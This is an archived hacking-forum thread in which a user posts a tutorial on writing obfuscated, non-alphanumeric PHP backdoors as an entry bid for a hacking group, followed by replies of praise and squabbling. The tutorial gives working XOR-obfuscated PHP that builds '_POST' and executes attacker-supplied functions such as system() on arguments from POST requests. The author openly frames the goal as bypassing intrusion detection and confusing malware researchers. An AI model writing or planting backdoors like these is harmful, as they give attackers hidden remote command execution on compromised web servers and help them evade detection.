+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Beginner Hacking (https://hackforums.net/forumdisplay.php?fid=4)
+----- Forum: Hacking Tutorials (https://hackforums.net/forumdisplay.php?fid=47)
+----- Thread: LEGION | How to write nonalphanumeric PHP backdoors (/showthread.php?tid=3223415)
LEGION | How to write nonalphanumeric PHP backdoors - Starfall - Feb 1, 2013
[img]http://i.minus.com/ieq6viOQ6szdE.gif[/img]
This tutorial is my attempt at entrance to Legion.
In it, I will cover how to write non-alphanumeric PHP backdoors. This requires a bit of prior knowledge.
You will need to know:
- PHP
- Logic
- How to use curl or at least some kind of HTTP request editor (if you're going to make a strange backdoor)
You'll also need to know the mathematical concept behind the XOR operation (^ in PHP).
As a quick primer, I'll go over what that does. XOR takes two bits and compares them, then generates a new bit depending on the result. If the bits compared are the same, the result bit is 0. If they're different, the result bit is 1. In PHP, this comparison is done bit-by-bit with two bytes.
Example:
Code
A B A XOR B
0 1 1
0 0 0
1 1 0XOR also is commutative, and has an identity property. XORing a bit with 0 always returns itself, and XORing a bit with itself always returns 0.
This crap will be important later, when our backdoor decodes itself.
To find values to use in your code, try this:
PHP Code
<?php
echo "A" ^ "}"; ?>We'll need to go over a few more ideas first, that may not be obvious to some people. PHP is a weakly typed language, meaning we can abuse its typing a bit.
For example, we can cast strings as functions, ints as strings and booleans as ints.
Example:
PHP Code
<?php
$_++; // This will throw a warning, suppressable with the @ operator.
// Because an undefined variable's value is null, and null==false==0, we can add 1 to it and create a number without using any numbers.
$__="<"^"}"; // This is "A".
$__("stuff"); // A is an undefined function so this will error and die. I don't care. It still shows that we can call strings as functions.
$___=!$_; // This will be !1 = !true = false
Now, why would we want to make a non-alpha PHP backdoor, you might ask? Well, there are a few reasons. Mainly we would want to bypass an IDS and confuse the hell out of malware researchers, but there are many other reasons I could think of.
The basic idea is to create some useful strings like "_POST", "system", "call_user_func_array", or whatever we want to do in our backdoor, then call them with user input as parameters, all without using a single letter or number in our code. We can do this using the XOR operator and other bitwise shifts if we so desire.
A rather oversimplified example of a nonalpha PHP backdoor is as follows:
PHP Code
<?php
@$_++; // $_ = 1
$__=("#"^"|"); // $__ = _
$__.=("."^"~"); // _P
$__.=("/"^"`"); // _PO
$__.=("|"^"/"); // _POS
$__.=("{"^"/"); // _POST
${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
/* we have to encapsulate our $__ in {}s so we don't confuse PHP.
Without these, it will return $("_POST"[0]) which is "_", instead of our input.
*/
?>PHP Code
<?php
$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");
PHP Code
<?php
@$__!=@!_?@$___(${$_}[$____],${$_}[$__]):@$___(${$_}[$____]);
To actually use the backdoor above, we'd need to send POST variables as such:
0=function name we want to call, such as system() or readfile().
1=parameters, the command we want to run, file we want to read or whatever.
If there's anything I missed or that you'd like me to add to this, please let me know, and please provide feedback. Thanks.
Am I cool yet?
* - Vinnie - Feb 1, 2013
Wow I'm more than impressed, this threads gave me a whole different outlook on you, thank you very much for taking part. Seriously.
* - Starfall - Feb 1, 2013
(Feb 1, 2013 02:32 AM)Αnonymous Wrote: Wow I'm more than impressed, this threads gave me a whole different outlook on you, thank you very much for taking part. Seriously.
Thank you, kind sir. What did you expect, some lame SQL injection crap?
By the way, this was a kind of rushed attempt. If I had written it over the course of a day or two and shown ALL my tricks off, I'd love to see your response to that :P
* - Vinnie - Feb 1, 2013
(Feb 1, 2013 02:36 AM)Starfall Wrote: Thank you, kind sir. What did you expect, some lame SQL injection crap?
To be honest I expected another thread about RATTING 🤣
(Feb 1, 2013 02:36 AM)Starfall Wrote: Thank you, kind sir. What did you expect, some lame SQL injection crap?
By the way, this was a kind of rushed attempt. If I had written it over the course of a day or two and shown ALL my tricks off, I'd love to see your response to that :P
Well I'll take you on that challenge. Maybe on day... 👍
* - Starfall - Feb 1, 2013
Relatively large image below. All the reps in this pic are in reference to this tutorial.
Spoiler (Click to View)
(◥▶_◀◤)
* - Vinnie - Feb 1, 2013
So it looks like making this thread for Legion really was worth it ;)
* - RyanC - Feb 1, 2013
(Feb 1, 2013 02:38 AM)Αnonymous Wrote: To be honest I expected another thread about RATTING 🤣
Ratting would undoubtedly have been more fitting for someone wanting to join Legion.
* - Vinnie - Feb 1, 2013
(Feb 1, 2013 04:53 AM)Who? Wrote: Ratting would undoubtedly have been more fitting for someone wanting to join Legion.
Omni won't allow the RAT's crew back, it was a decent group not because of what they did but how they influenced the forum.
* - RyanC - Feb 1, 2013
(Feb 1, 2013 05:05 AM)Αnonymous Wrote: Omni won't allow the RAT's crew back, it was a decent group not because of what they did but how they influenced the forum.
I wouldn't judge a hacking related group based on it's contributions, but the skill of it's members.
* - Vinnie - Feb 1, 2013
(Feb 1, 2013 05:07 AM)Who? Wrote: I wouldn't judge a hacking related group based on it's contributions, but the skill of it's members.
I agree. But this forum has turned a blind eye towards hacking. All you see now are a bunch of kids playing OMGPOP with their "official" groups. I don't approve of that. I want some quality back, anything but OMGPOP.
* - Starfall - Feb 1, 2013
(Feb 1, 2013 05:12 AM)Who? Wrote: I would doubt a member that calls themselves 'Anonymous' knows much about skill, feel free to prove me wrong. Of course.
Being leader of this group doesn't need to imply skill. He may or may not be skilled, and it doesn't really matter much. What matters here is he has a passion for the "art" of hacking, and would walk a few miles to see something that's not shit.
* - Starfall - Feb 1, 2013
(Feb 1, 2013 05:20 AM)Who? Wrote: 'OG' I've never quite understood what kids mean with that, especially since 'Anonymous' seems like the peak of unoriginality.
It means everyone wants it and no one can have it because some 13 year old got it first. :P
Anyway, can we stay on topic of the tutorial please? (inb4 lotsa posts gone)
* - RyanC - Feb 1, 2013
(Feb 1, 2013 05:25 AM)Beau™ Wrote: Do I have to write a Legion tutorial on what the definition of "OG" means? I'm sure you'll be able to shun it somehow.
Please go on and do that then, I doubt you can make any sensible explanation on how 'OG' which apparently stands for 'original' is yet another definition for unoriginality.
* - rl fennec - Feb 1, 2013
I know this is none of my business, but you's should argue somewhere else and keep the thread on topic.
* - Starfall - Feb 1, 2013
(Feb 1, 2013 05:29 AM)Virtuosity. Wrote: I know this is none of my business, but you's should argue somewhere else and keep the thread on topic.
Report the posts and they'll be removed.
If anyone has questions about the tutorial itself feel free to ask.